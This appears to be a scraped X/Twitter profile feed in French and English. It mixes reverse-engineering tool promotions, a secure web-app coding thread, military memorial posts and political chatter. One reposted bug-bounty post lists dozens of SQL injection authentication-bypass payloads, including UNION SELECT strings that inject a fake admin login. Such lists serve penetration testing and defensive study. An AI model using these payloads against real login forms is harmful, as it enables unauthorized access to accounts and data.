itichy

GNU/LINUX love machine,
Zenk-security member

[Duty @duty_1g]

🚀 x64dbg-MCP Server — fully automated, dynamic, agentic reverse engineering for x64dbg.

🧠 71 MCP tools
🤖 Fully automated & dynamic agentic RE
🔴 22 debugger event callbacks
⚡ Native Zig plugin — zero dependencies
🛠️ Breakpoints, memory, registers, tracing, xrefs, PE analysis & more
🌐 Streamable HTTP + SSE
📦 x32 + x64
Let your AI agent control, analyze, debug, and dynamically reverse engineer binaries directly through x64dbg.
🔗 https://t.co/5gmqJw6SVm
#x64dbg #MCP #AgenticAI #ReverseEngineering #CyberSecurity #RedTeam #MalwareAnalysis #Zig

[vaudais toujours 🍉 🍉 @TFilastin]

S’il vous plaît Allez soutenir Manija
@pizza_sorelle - 1 rue Saulnier,
75009

[Anime - Manga ✨ @Medianimes]

Saitama quand cet OST se lance, on sait que c’est fini. 👊

[herrcore @herrcore]

IDA Reverse Engineering Step-by-Step Into Reverse Engineering: EXE

Patreon Unlocked ❤️

[Karsten Hahn @struppigel]

Windows API arsenal by
@0x6970
for reversers

https://t.co/OkbYRx8wse

[itichy @stackOver80]

@huniplay6 Fait

[itichy @stackOver80]

@huniplay6 Fait

[Nicolas C 👾 Dev @NicolasCDev]

🔒 Le "petit" guide pour sécuriser sa web app 🔒

Comme demandé, j'ai créé un guide avec les essentiels pour coder sécurisé et protéger ses users.

Tout y est !
Bonnes pratiques, protections avancées., tools, astuces, ...

T'as de quoi noter ? Let's go ! 👇

[Nicolas C 👾 Dev @NicolasCDev]

1️⃣ La base de données

Qui dit web app dit probablement BDD, ça fait partie des points sensibles de ton code alors il ne faut pas la négliger.

Voici tout ce que tu dois faire pour être tranquille :

✅Validation des inputs :
Toujours valider côté serveur ET côté client (le client, c'est pour l'UX, pas la sécurité).
Pas de données "fiables" venant de l'utilisateur.
Valider c'est contrôler le type, la taille, le contenu, ...
On veut s'assurer que l'utilisateur ne cherche pas à injecter du SQL et à accéder ou compromettre les datas.

♻️Prepared Statements :
Pour éviter l’injection SQL tu dois séparer tes données des commandes SQL.
Sans ça, un attaquant peut manipuler ta base.
Les ORM modernes (ex : Sequelize, TypeORM) les utilisent par défaut, mais vérifie toujours, surtout si tu manipule ta BDD sans ORM.

🔐Hash des mots de passe :
Utilise un algorithme moderne (Argon2, bcrypt) avec un salt unique pour chaque user.
Les mots de passe en clair dans la BDD, c'est NON !

🛑Row Level Security (RLS) :
Active cette fonctionnalité (dispo dans PostgreSQL) pour gérer les droits directement dans la base.
Sans RLS, un bug côté app peut exposer toutes les données.
Tu peux segmenter par rôle (super admin, admin, user) ou par utilisateur directement.
Mais tu dois t'assurer qu'un user ou groupe d'users ne peuvent pas accéder à des données auxquelles ils n'ont pas droit.

[Forces Spéciales Françaises 🌟 @Fs_francaises_]

Tous derrière l'ancien SAS du 1er RPIMa @BenoitSt_Denis 🇫🇷

Envoyez de la force pour notre guerrier @BenoitSt_Denis 🌟

[𝕏 Bug Bounty Writeups 𝕏 @bountywriteups]

🔰 Authentication Bypass - Payloads

'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

#bugbounty #bugbountytips #bugbountytip #hackerone #bugcrowd #infosec #cybersecurity #pentesting #redteam #informationsecurity #securitycipher #technology #coding #code #recon #ai #llm #owasp

[Forces Spéciales Françaises 🌟 @Fs_francaises_]

Garry, ancien Commando marine, a mis fin à ses jours à la suite d'un Trouble de stress post-traumatique.

Ce militaire des forces spéciales françaises est un héros à la carrière exceptionnelle.

Une nouvelle passée totalement inaperçue.

Ne jamais oublier. 🖤

[Forces Spéciales Françaises 🌟 @Fs_francaises_]

A la demande de sa compagne Léa, faites voyager le sourire d'Alain Bertoncello du Commando Hubert, décédé au combat après avoir libéré deux otages français.

J'espère que la France n'oubliera jamais ce qu'il a fait. Il a donné sa vie pour la France.

Ne jamais oublier. 🖤

[Camille S. @K1000Journalist]

🔴[TUTO] : Comment économiser légalement PLUSIEURS CENTAINES D'EUROS sur son loyer chaque mois à Paris.

Il suffit de faire respecter ✨l'encadrement des loyers✨ à son propriétaire.

Petit tuto en thread pour vous montrer comment faire. Pour l'exemple on va prendre cet appart.

[Cap’Ivoire Info @CapIvoire_Info]

🇷🇺⚔️🇺🇦 Quand la Russie se voit obligée de rapatrier des mercenaires Wagner d’Afrique pour faire face à l’incursion ukrainienne. 1/7

[THREAD]

[itichy @stackOver80]

@Generations7080 1

[Robert #TeamRobert @La_Pollice]

JPP de rire 😂😂😂 #Européennes2024

[itichy @stackOver80]

@athoune Port pour imprimante